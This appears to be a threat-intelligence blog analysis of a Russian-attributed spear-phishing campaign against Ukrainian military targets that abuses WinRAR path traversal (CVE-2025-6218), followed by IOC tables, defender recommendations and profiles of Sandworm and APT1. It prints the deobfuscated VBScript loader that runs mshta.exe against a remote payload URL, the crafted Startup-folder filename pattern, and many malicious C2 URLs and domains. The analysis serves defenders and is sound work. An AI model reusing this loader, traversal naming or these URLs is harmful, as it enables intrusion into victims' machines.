Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdfTransfer via automated control system Dnipro_2_7_4_62_13.11.2025.pdf

Primitive Bear is well-known for its spear-phishing operations, so none of this is surprising. What is new, however, is the use of RAR archives to load additional malware.
Unfortunately, we cannot definitively identify all recipients of these samples, but the filenames give us a pretty good idea of who they were intended for:

FileProbable recipient / ContextDerived from the name
Повістка про виклик_357-16230-25_24.10.2025.pdf Authorities/judiciary or territorial recruitment centers (ТЦК та СП) for mobilization“Повістка” can mean court/investigative authority or military summons.
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdfMilitary Unit A0135 (Військова частина А0135)explicit mention of the unit
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdfMobilization/personnel offices: ТЦК та СП, Mobilization Department in the MoD/General StaffThematic focus: “Approaches to convening”
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdfCommander of military unit A0135explicitly addressed
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdfPositions with access to “АСУ Днепр” (АСУ = Automated Management/Information Systems)
This is typically MoD/ТЦК/Human Resources
“Transmit via ASU Dnipro” -> internal administration/data channel
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdfas aboveSeries/sequel document (different date)
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdfas aboveother internal classification/filing codes
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdfas above


Now that we better understand the context of the samples, we can dive into the actual analysis. Since all samples share a nearly identical structure, we’ll look at the most recent one found, with the hash 237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0

The victim receives a RAR archive containing two files: a fake PDF and a HTML Application (HTA).
The HTA file always has the same bizarre naming scheme:

<CUSTOM FILENAME>.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_<HTA FILE>.hta


This immediately reveals the exploitation of CVE-2025-6218.

The vulnerability is a critical directory traversal -> remote code execution (RCE) flaw in WinRAR (up to version 7.11) on Windows.
The bug lies in how RAR archives process file paths: an attacker can craft an archive entry that writes files outside the intended extraction folder e.g., directly into the user’s Startup directory.

Once a file lands in an auto-executed location, it runs on next login or reboot, resulting in RCE with the current user’s privileges.
It still requires user interaction, such as opening a malicious archive.
The issue is fixed in WinRAR 7.12 (Beta 1) and later.

If you want to get a feeling for the vulnerability, a PoC is definitely worth looking at.

So what actually happens when the victim opens the RAR file?

  1. The user opens the archive.
  2. The archive extracts a .pdf into the current directory.
  3. The archive silently extracts an .hta containing obfuscated VBScript into the Startup folder.
  4. After reboot, the VBScript fetches additional malware.

It’s worth noting that the exploitation of CVE-2025-6218 requires only minimal user interaction. In most cases, the victim merely has to open the malicious RAR archive.
No special system configuration is required, no sandbox needs to be disabled, and no “advanced mode” must be enabled. WinRAR’s default extraction behavior is sufficient for the path traversal to write an HTA file directly into the user’s Startup folder.

long story short: the attacker relies only on the victim doing what victims do best, double-clicking whatever lands in their inbox.

Now let’s take a look at what such an HTA file actually looks like:

We see an obfuscation attempt that is, let’s put it politely, more bad than good.
Between the actual payload there’s a lot of junk lines:

These can be filtered out easily by looking at each assigned variable. If a variable never gets used or only references itself, it can be safely removed.
I did the cleanup manually, because the scripts are tiny and the obfuscation is by no means a masterpiece.

After removing the junk lines and renaming the important variables, I ended up with the following result:

The entire deobfuscation process took about five minutes. The script isn’t complex, so let’s walk through it.

Script Execution Flow


1. It creates a WScript.Shell instance

Set wshell = CreateObject("WScript.Shell")

2. It defines the payload command

payload = "WScript.Shell %WINDIR%\system32\mshta.exe http://president.gov.ua@readers[.]serveirc[.]com?/gSS_11.11.2025/kidneyfih/broadlyrQZ.pdf"
  • The string pretends to be a legitimate Windows component.
  • Using mshta.exe is classic: this Windows binary can directly execute remotely hosted HTA/HTML scripts, a typical Living-off-the-Land Binary (LOLBIN) abuse.

The URL

http://president.gov.ua@readers.serveirc.com?/gSS_11.11.2025/kidneyfih/broadlyrQZ.pdf

uses a phishing-like trick:

  • president.gov.ua@ looks like an official Ukrainian domain
  • the real host is readers.serveirc.com, a free DynDNS subdomain acting as C2 or malware hosting server.

3. It executes the payload silently

wshell.Run payload

4. Error suppression

On Error Resume Next

Runtime errors are ignored to avoid crashes or prompts.

5. It closes itself

Close

The script exists purely as a loader/downloader. No real payload is inside, instead it fetches the actual malware (another HTA, VBS, or EXE) from readers.serveirc.com.

This aligns perfectly with Primitive Bear’s usual TTPs:

  • multi-stage payload chains ending in backdoors for surveillance and exfiltration (e.g., Pteranodon, GammaLoad)
  • abuse of Windows-native binaries (mshta.exe, wscript.exe)
  • phishing documents themed around Ukrainian government topics (e.g., “повістка.pdf”)
  • fast-changing C2 infrastructure on free DNS services (serveirc.com, myftp.biz, ddns.net)

Primitive Bear’s operations often end in the deployment of modular backdoors such as Pteranodon or GammaLoad, both of which are staples of the group’s espionage toolkit:

  • Pteranodon: A long-running backdoor family used by Primitive Bear since at least 2016. It supports classic cyber-espionage features such as screenshot capture, file exfiltration, keystroke logging, command execution, and staged payload delivery. Modular, noisy, but effective enough for long-term access.
  • GammaLoad: A lightweight downloader/backdoor frequently used as the “next stage” after initial compromise. Typically retrieves secondary modules, maintains C2 connectivity, and prepares the system for more persistent implants. Often deployed through simple LOLBIN-based loaders (like the one used here).

Nothing revolutionary, just FSB’s usual grab-bag of surveillance toys 😉


Infrastructure used in the 2025 Ukraine Campaign (so far)

Throughout my analysis, I reviewed a large number of recent samples (October – November) from this threat actor. Below is a summary and visualization of the infrastructure I identified.

Used Domains & IPs in threat campaign

IP-AddressAssociated Domain
194.58.66.132document-downloads.ddns.net
“”print-documents.freedynamicdns.net
“”google-pdf.redirectme.net
“”document-prok.freedynamicdns.org
“”downloads-document.freedynamicdns.org
“”write-document.freedynamicdns.org
“”backup.9fvzesn.us
“”diskpart.myddns.me
194.87.230.166readers.serveirc.com
“”yeard.serveirc.com
“”dears.serveirc.com
“”fixer.serveirc.com
“”dilopendos.serveirc.com
194.87.240.215readers.serveirc.com
“”dilopendos.serveirc.com
“”political-news.serveirc.com
“”serversftp.serveirc.com
“”digitall.webhop.me
“”creates.webhop.me
“”acess-pdf.webhop.me
“”hosting-redirect.sytes.net
194.87.240.141political-news.serveirc.com
“”digitall.webhop.me
“”creates.webhop.me
“”acess-pdf.webhop.me
“”hosting-redirect.sytes.net
45.141.234.234acess-pdf.webhop.me
185.39.204.82open-pdf.serveftp.com
194.58.66.5pasive-host.gotdns.ch
“”papilonos.hopto.org
“”selodovo.myddns.me
“”systems-debug.ddns.net
“”admindt.ddns.net
“”kia-court.serveirc.com
“”downcraft.serveirc.com
“”procurature.freedynamicdns.org
“”ssu-procuror.redirectme.net
“”procuror.servehttp.com
CloudFlare IPlibraries-thus-yale-collaborative.trycloudflare.com
CloudFlare IPvacations-mic-games-scale.trycloudflare.com
CloudFlare IPapp-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
194.58.66.5No Domain
194.58.66.192No Domain

Identified requests

Request URLSample Hash
http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdfc7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c
http://google.com@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1
http://regnum.com@dilopendos.serveirc.com?/moss_10.11.2025/futureHtG/accountc7z.pdf5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea
http://t.me@fixer.serveirc.com?/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f
http://www.crimea.kp.ua@dears.serveirc.com/SVrr_12.11.2025/crookoxQ/learningB4J.pdfd9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22
http://www.bbc.com@fixfactors.serveirc.com?/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0
http://nv.ua@serversftp.serveirc.com?/sss_10.11.2025/dialGsd/horribleNQx.pdf7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
http://ssu.gov.ua@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
http://www.golosameriki.com@open-pdf.serveftp.com/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
http://5.8.18.46/sprdvth/tailor.ps118c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
http://swet.tv@vacations-mic-games-scale.trycloudflare.com/regretxso/GP4/investigationer4/exhibtionLD6.pdf18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
http://google.com@document-downloads.ddns.net/OD/sensationaSL/AprilcWs.jpege4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
http://print-documents.freedynamicdns.net/SS/atomN2s/arwardU26.jpegeed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
http://google-pdf.redirectme.net/OD/remisshKY/consentedjtP.jpegfc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c700
http://google.com@document-downloads.ddns.net/OD/quitzU2/comparativelyNWU.jpeg478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be7
https://libraries-thus-yale-collaborative.trycloudflare.com/Gost/pitchedcbY/intenseLKt.jpeg9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
http://194.58.66.5/Gost3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39

The actor makes heavy use of DynDNS subdomains, such as:

  • readers.serveirc.com
  • dears.serveirc.com
    …and many others

All of these can be attributed to No-IP, which gives us a pool of recurring IP addresses (including IPs not associated with a Dyn-DNS domain name):

IP-AddressProviderCountry
194.58.66.5BAXET-GROUP-INC – interlir.comIndia
194.58.66.132BAXET-GROUP-INC – interlir.comIndia
194.58.66.192BAXET-GROUP-INC – interlir.comIndia
194.87.240.141relcom.comCzech Republic
194.87.230.166BAXET-GROUP-INC – interlir.comGreece
194.87.240.215relcom.comCzech Republic
185.39.204.82globconnex.comTurkey
45.141.234.234globconnex.comIreland
5.8.18.46PutinRussia


Some of these IP addresses are provided by InterLIR, including the realcom addresses.
InterLIR is essentially an IP address marketplace: companies in need of IPv4 or IPv6 space can buy, rent, or sub-lease unused ranges.
The platform advertises fast provisioning, legally vetted transfers, and a European business focus.

Since IPv4 addresses are scarce (and expensive), entire micro-economies have formed around services like this, which attackers happily exploit for disposable infrastructure.


I also rechecked which of the domains still resolve to an active host. During that process, I identified fourteen domains that are currently still active and are likely still being used by the threat actor.

acess-pdf.webhop.me
backup.9fvzesn.us
creates.webhop.me
dears.serveirc.com
digitall.webhop.me
dilopendos.serveirc.com
fixer.serveirc.com
google-pdf.redirectme.net
hosting-redirect.sytes.net
political-news.serveirc.com
freedynamicdns.net
readers.serveirc.com
serversftp.serveirc.com
yeard.serveirc.com

Based on the information available so far, we can also compile a final overview of the files that have been distributed through this infrastructure:


Distributed ByFile NameHash
document-downloads.ddns.net2-1180-25_24.06.2025.HTAaf860c5ce9401a7fed857169da9522966b5a5269b2a8a030aaf902299947eb5b
2-1180-25_24.06.2025.HTAe4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
rl_eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
print-documents.freedynamicdns.net040c9ed7-b806-4f08-b9d9-23301a968b03.tmp79343d0211758029b5fbffb89caa041f51a1f20ddcb39e4fd2c3ccf677ed5f07
rl_ab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7cab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c
google-pdf.redirectme.net2-1180-25_24.06.2025.rarbc7e3c6c59d462b4aad5b8ea9d2f4d1eb9a70a28a6475ad2405adb8c701a8e05
2-1180-25_24.06.2025.HTA (copy)7c0af43f8a32cb68e7804844c03a1f73fa0121018f2684942c8bee13a665f62f
2-1180-25_24.06.2025.HTA (copy)78329e00fd2592eaa53c5f5a73bb635cd5e22300209c622e3d988fd7c0a3935a
document-prok.freedynamicdns.org2-1180-25_24.06.2025.HTA (copy)591cd91512c68ec091b824ee9084326153d3bb229f313f5869409c3358788d2f
write-document.freedynamicdns.org2-1180-25_24.06.2025.HTA4f844679b79baf9daa46751b7b6f15c2cb03a0162361f3863b42cf16e3a27984
dears.serveirc.com2_1_1_7755_12.11.2025.xhtml6256022d6a548acaf7fda1781a1121d2ea4d92ada829c9902c292e3aab27bd3f
hosting-redirect.sytes.netПовістка про виклик357-16230-25_24.10.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTAfe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127
open-pdf.serveftp.comЗвернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
11-2967-25_23.09.2025.rar68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c
11-2967-25_23.09.2025.rardd140737bd81f4cba11769bbda0d48e071bd604ec21993ec85a60669f29c5537
pasive-host.gotdns.ch837f64e8-811c-4045-a611-b51c85ac96d1.tmpc012ff34ff9f834e3d28ec6bb1fe3c9528ace6396b6103b0aae1ef6c140c2fbe
systems-debug.ddns.net2-1180-25_04.06.2025.HTA.crdownload (copy)d9330f235584d387d6a08d35f8d501777f4e0b2a545f4752d459a9ad24c74772
procurature.freedynamicdns.org2-1273-2025_06.08.2025.html631c02badd9ea7e2835256290f649a02136b1df312c4c8cd4d3f5df4558e3595
ssu-procuror.redirectme.net_ __ __ 2-1273-2025_07.08.2025.HTA.binf8f4d2e627462c2e8b443f2b8f5efe4c1f0c14d9b1796e9eb1a2b598e524eda0
procuror.servehttp.comlocalfile~e2232eed8cd5dd5ac898e65e25001e496f320155ef40582d8a2a6e221d655e00

This is not the full list of distributed files in this campaign, but i’ll keep track of further samples and update the list accordingly.


Recommendations for Defenders and Blue Teams

To mitigate and detect this campaign (and similar WinRAR-based exploitation attempts), i recommend the following defensive measures:

  • Update WinRAR immediately
    Ensure that WinRAR is updated to version 7.12 (Beta 1) or later, where CVE-2025-6218 has been patched.
  • Block execution of HTA files
    In most enterprise environments, .hta files should not be executed at all.
    Enforce this via AppLocker, WDAC, or enterprise GPO restrictions.
  • Monitor for LOLBIN misuse
    Flag suspicious executions of:
    • mshta.exe
    • wscript.exe
    • powershell.exe (especially with remote URLs)
  • Monitor the Startup folder
    Creation of .hta, .vbs, .js, or unknown executables inside:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
    …should always be treated as high-severity alerts, alway have an eye on this lol.
  • Inspect email attachments
    Particularly RAR/ZIP archives containing unusual path structures or files with “hidden extensions” (file.pdf:.hta, etc.).
  • Network defense
    Block known C2 domains and sinkhole DynDNS-based infrastructure where possible.
  • Endpoint logging
    Ensure Sysmon or a comparable EDR solution logs:
    • Process creation
    • File modification in Startup paths
    • Network connections from LOLBINs
    • Suspicious command-line parameters

Basically: watch for anything that behaves like Windows, but shouldn’t ^-^


IOC

Here is a list of all IOC’s of my analysis:

Click To Open IOC Table <<

TypeIOC
Domains (C2, Delivery, DynDNS Infrastructure)readers.serveirc.com
dears.serveirc.com
yeard.serveirc.com
fixer.serveirc.com
dilopendos.serveirc.com
serversftp.serveirc.com
political-news.serveirc.com
kia-court.serveirc.com
downcraft.serveirc.com
fixfactors.serveirc.com
document-prok.freedynamicdns.org
print-documents.freedynamicdns.net
downloads-document.freedynamicdns.org
write-document.freedynamicdns.org
procurature.freedynamicdns.org
google-pdf.redirectme.net
ssu-procuror.redirectme.net
acess-pdf.webhop.me
digitall.webhop.me
creates.webhop.me
papilonos.hopto.org
open-pdf.serveftp.com
procuror.servehttp.com
hosting-redirect.sytes.net
diskpart.myddns.me
selodovo.myddns.me
pasive-host.gotdns.ch
document-downloads.ddns.net
systems-debug.ddns.net
libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
backup.9fvzesn.us
Active Domains Identifiedacess-pdf.webhop.me
backup.9fvzesn.us
creates.webhop.me
dears.serveirc.com
digitall.webhop.me
dilopendos.serveirc.com
fixer.serveirc.com
google-pdf.redirectme.net
hosting-redirect.sytes.net
political-news.serveirc.com
freedynamicdns.net
readers.serveirc.com
serversftp.serveirc.com
yeard.serveirc.com
IP Addresses194.58.66.5
194.58.66.132
194.58.66.192
194.87.230.166
194.87.240.141
194.87.240.215
185.39.204.82
45.141.234.234
5.8.18.46
Cloudflare (used as fronting / relay)libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
List of Malicious URLs (Requests)http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf
http://google.com@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf
http://regnum.com@dilopendos.serveirc.com?/moss_10.11.2025/futureHtG/accountc7z.pdf
http://t.me@fixer.serveirc.com?/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf
http://www.crimea.kp.ua@dears.serveirc.com/SVrr_12.11.2025/crookoxQ/learningB4J.pdf
http://www.bbc.com@fixfactors.serveirc.com?/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf
http://nv.ua@serversftp.serveirc.com?/sss_10.11.2025/dialGsd/horribleNQx.pdf
http://ssu.gov.ua@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf
http://www.golosameriki.com@open-pdf.serveftp.com/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf
http://5.8.18.46/sprdvth/tailor.ps1
http://swet.tv@vacations-mic-games-scale.trycloudflare.com/regretxso/GP4/investigationer4/exhibtionLD6.pdf
http://google.com@document-downloads.ddns.net/OD/sensationaSL/AprilcWs.jpeg
http://print-documents.freedynamicdns.net/SS/atomN2s/arwardU26.jpeg
http://google-pdf.redirectme.net/OD/remisshKY/consentedjtP.jpeg
http://google.com@document-downloads.ddns.net/OD/quitzU2/comparativelyNWU.jpeg
https://libraries-thus-yale-collaborative.trycloudflare.com/Gost/pitchedcbY/intenseLKt.jpeg
http://194.58.66.5/Gost
Malware Filenames / ArchivesПовістка про виклик_357-16230-25_24.10.2025.pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf
2-1180-25_24.06.2025.rar
11-2967-25_23.09.2025.rar
.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup.hta
Dropped / Delivered Payloads (HTA, HTML, tmp, Bin)2-1180-25_24.06.2025.HTA
040c9ed7-b806-4f08-b9d9-23301a968b03.tmp
2_1_1_7755_12.11.2025.xhtml
Повістка про виклик357-16230-25_24.10.2025.pdf:…………_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTA
Звернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA
837f64e8-811c-4045-a611-b51c85ac96d1.tmp
2-1180-25_04.06.2025.HTA.crdownload
2-1273-2025_06.08.2025.html
_ _ _ 2-1273-2025_07.08.2025.HTA.bin
localfile~
File Hashes (SHA-256)af860c5ce9401a7fed857169da9522966b5a5269b2a8a030aaf902299947eb5b
e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
79343d0211758029b5fbffb89caa041f51a1f20ddcb39e4fd2c3ccf677ed5f07
ab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c
bc7e3c6c59d462b4aad5b8ea9d2f4d1eb9a70a28a6475ad2405adb8c701a8e05
7c0af43f8a32cb68e7804844c03a1f73fa0121018f2684942c8bee13a665f62f
78329e00fd2592eaa53c5f5a73bb635cd5e22300209c622e3d988fd7c0a3935a
591cd91512c68ec091b824ee9084326153d3bb229f313f5869409c3358788d2f
4f844679b79baf9daa46751b7b6f15c2cb03a0162361f3863b42cf16e3a27984
6256022d6a548acaf7fda1781a1121d2ea4d92ada829c9902c292e3aab27bd3f
fe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127
18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c
dd140737bd81f4cba11769bbda0d48e071bd604ec21993ec85a60669f29c5537
c012ff34ff9f834e3d28ec6bb1fe3c9528ace6396b6103b0aae1ef6c140c2fbe
d9330f235584d387d6a08d35f8d501777f4e0b2a545f4752d459a9ad24c74772
631c02badd9ea7e2835256290f649a02136b1df312c4c8cd4d3f5df4558e3595
f8f4d2e627462c2e8b443f2b8f5efe4c1f0c14d9b1796e9eb1a2b598e524eda0
e2232eed8cd5dd5ac898e65e25001e496f320155ef40582d8a2a6e221d655e00
c7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c
21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1
5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea
6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f
d9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22
237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0
7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39
e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
Behavioral Indicators (TTP-level)mshta.exe
wscript.exe
powershell.exe -ExecutionPolicy Bypass -NoProfile -EncodedCommand
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup*.hta
%TEMP%*.tmp
<legit-domain>@<C2-domain>/<malicious-path>


APT44 – Sandworm Team

APT44 (Sandworm Team) – Quick Facts

  • Type: Advanced Persistent Threat (APT)
  • Aliases: Sandworm, Sandworm Team, Seashell Blizzard, Iron Viking, Telebots, Voodoo Bear, Iridium, FrozenBarents
  • Origin: Russia, linked to MUN 74455, a cyberwarfare unit of the GRU, Russia’s military intelligence service
  • Active Since: 2004
  • Primary Targets: Western corporations, government organizations, defense contractors
  • Motivation: Cybersabotage , Data theft
Tactics & Techniques (CLICK TO OPEN)

Tactics & Techniques:
Initial Access
T1190 – Exploit Public-Facing Application.
T1203 – Exploitation for Client Execution.
T1199 / related: Spearphishing / Use of malicious files (spearphishing attachments / malicious files)
Execution
T1059 – Command and Scripting Interpreter.
T1059.001 – PowerShell.
T1059.003 – Windows Command Shell.
T1059.005 – Visual Basic (VBS).
Persistence
T1543 / Create or Modify System Process (Service techniques) – z. B. Windows Service / Systemd service modifications.
T1053.005 – Scheduled Task (Scheduled Task used via GPOs / scheduled jobs).
Privilege Escalation
– (verschiedene techniques observed in campaign artifacts; see Mandiant for low-level syscall / evasive behaviors)
Defense Evasion
T1140 – Deobfuscate/Decode Files or Information (Base64, TripleDES, GZip usage).
T1202 / Obfuscated Files or Information (software packing / obfuscation).
T1562 / Impair Defenses – e.g., Disable or Modify Tools; Disable Windows Event Logging.
Credential Access
T1555.003 – Credentials from Password Stores: Credentials from Web Browsers.
T1003 (OS Credential Dumping) – e.g., LSASS memory dumping observed historically.
T1056.001 – Input Capture: Keylogging (SetWindowsHookEx keylogger observed).
Discovery
T1087.002 – Account Discovery: Domain Account discovery via LDAP queries.
T1592.002 – Gather Victim Host Information: Software.
T1018 – Remote System Discovery.
T1046 / Network Service Scanning (Active Scanning / vulnerability scanning).
Lateral Movement
T1021.002 – Remote Services: SMB/Windows Admin Shares (use of ADMIN$, net use).
T1570 – / Lateral Tool Transfer / Ingress Tool Transfer (copying payloads, using network shares).
Collection
T1213 – Data from Information Repositories (databases) – e.g., use of Adminer to exfiltrate DB data.
T1005 – Data from Local System (internal docs, files).
Exfiltration
T1041 – Exfiltration Over C2 Channel (HTTP C2 exfil observed).
Command and Control
T1071.001 – Application Layer Protocol: Web Protocols (HTTP used by BCS-server and other tools).
– Protocol Tunneling / non-standard channels have also been used in some campaigns.
Impact
T1486 – Data Encrypted for Impact (ransomware / Prestige used).
T1561.002 – Disk Wipe: Disk Structure Wipe (KillDisk/CaddyWiper usage).
T1484.001 – Domain or Tenant Policy Modification: Group Policy Modification (used to deploy wipers via GPO).
T1499 – Endpoint Denial of Service (observed in disruption campaigns).
T1491.002 – Defacement: External Defacement (mass website defacements).
Resource Development / Recon & Support (preparation)
T1583 – Acquire Infrastructure (domains, servers, covert leased infrastructure).
T1583.001 – Domains (register spoofing domains).
T1583.004 – Server (use of leased / reseller infrastructure).
T1595.002 – Active Scanning: Vulnerability Scanning (scanning target infrastructure).
Other observed behaviours / capabilities
– Use of custom destructive malware families (NotPetya, Industroyer variants, Olympic Destroyer, CaddyWiper, etc.).
– Use of third-party services for phishing campaigns and use of spoofed pages for credential harvesting.

  • Notable Campaigns:
    • Exfiltration of corporate data across multiple industries, including aerospace, energy, and technology
  • Attributed Tools & Malware:
    • BlackEnergy (BlackEnergy 3) – former backdoor/botnet framework used in attacks on Ukrainian energy suppliers (2015), among others.
    • KillDisk (various wiper variants) – Destructive component used to destroy hosts in multiple campaigns.
    • NotPetya / ExPetr (wiper masquerading as ransomware) – large-scale destruction/worm campaign in 2017.
    • Industroyer / Industroyer2 (CrashOverride) – specifically designed for industrial control systems (ICS); the Industroyer family has been observed in Ukrainian infrastructure operations.
    • Olympic Destroyer – Wiper/disruption malware used against the Pyeongchang Olympics; attribution was complicated, but often linked to Sandworm.
    • CaddyWiper / other GPO/AD wipers – modern wiper variants that have appeared in recent sabotage campaigns.
    • Infamous Chisel (Android components / Infamous Chisel family) – Persistent access/backdoor components for Android (2023 reports on Android targets).
    • SwiftSlicer / AD-viper / Active Directory wipers – local/AD-targeted wiper components that appear in attack reports in 2023–2024.
    • Custom C2/Beacon implementations & loaders (TeleBots / bespoke tooling) – Sandworm used its own C2 backdoors, beacon implementations, and droppers; TeleBots branding appears in connection with NotPetya.
    • Downloaders / droppers / Android wrappers / malicious app wrappers – previous campaigns showed downloader wrappers in Play Store apps and disguised Android apps to deliver additional components.
  • Malware Samples:

Description

APT44 (commonly tracked as Sandworm Team or GRU Unit 74455) is a state-sponsored Russian cyber-espionage and sabotage actor known for highly targeted, persistent operations against government, military, critical-infrastructure, and high-value private sector targets. The group blends sophisticated custom tooling with commodity malware and living-off-the-land techniques to gain access, escalate privileges, move laterally, and maintain stealthy persistence. Its campaigns range from long-term intelligence collection to disruptive, destructive actions, deploying modular router malware, destructive wipers, and ICS-focused toolsets when operational goals demand sabotage. Operators demonstrate strong operational security, anti-sandbox/anti-analysis measures, and careful timing to align cyber activity with geopolitical objectives.

APT1

APT1 (Comment Crew / Shanghai Group) – Quick Facts

  • Type: Advanced Persistent Threat (APT)
  • Aliases: Comment Crew, Comment Group, Comment Panda, Unit 61398.
  • Origin: China, linked to PLA Unit 61398
  • Active Since: Mid-2000s
  • Primary Targets: Western corporations, government organizations, defense contractors
  • Motivation: Cyber espionage, intellectual property theft
  • Tactics & Techniques:
    • Spear-phishing emails
    • Custom malware and remote access tools (RATs)
    • Long-term network infiltration for intelligence gathering
  • Notable Campaigns:
    • Exfiltration of corporate data across multiple industries, including aerospace, energy, and technology
  • Significance:
    • One of the first publicly documented APT groups
    • Exposed in Mandiant’s 2013 report, raising global awareness of state-sponsored cyber espionage
  • Attributed Tools & Malware:
    • Malware Samples & More Malware Samples
    • WEBC2 Family:
      • WEBC2-AUSOV
      • WEBC2-ADSPACE
      • WEBC2-BOLID
      • WEBC2-CLOVER
      • WEBC2-CSON
      • WEBC2-DIV
      • WEBC2-GREENCAT
      • WEBC2-HEAD
      • WEBC2-KT3
      • WEBC2-QBP
      • WEBC2-RAVE
      • WEBC2-TABLE
      • WEBC2-TOCK
      • WEBC2-UGX
      • WEBC2-YAHOO
      • WEBC2-Y21K
    • GOGGLES – Downloader used by the group (serves as a payload/secondary-stage downloader).
    • GLASSES – A variant or close relative of GOGGLES; identified in a Citizen Lab analysis and likely an earlier or related implementation.
    • AURIGA / BANGAT – Tools linked to a developer tracked as “SuperHard”; mentioned by Mandiant but not always named in the public report.
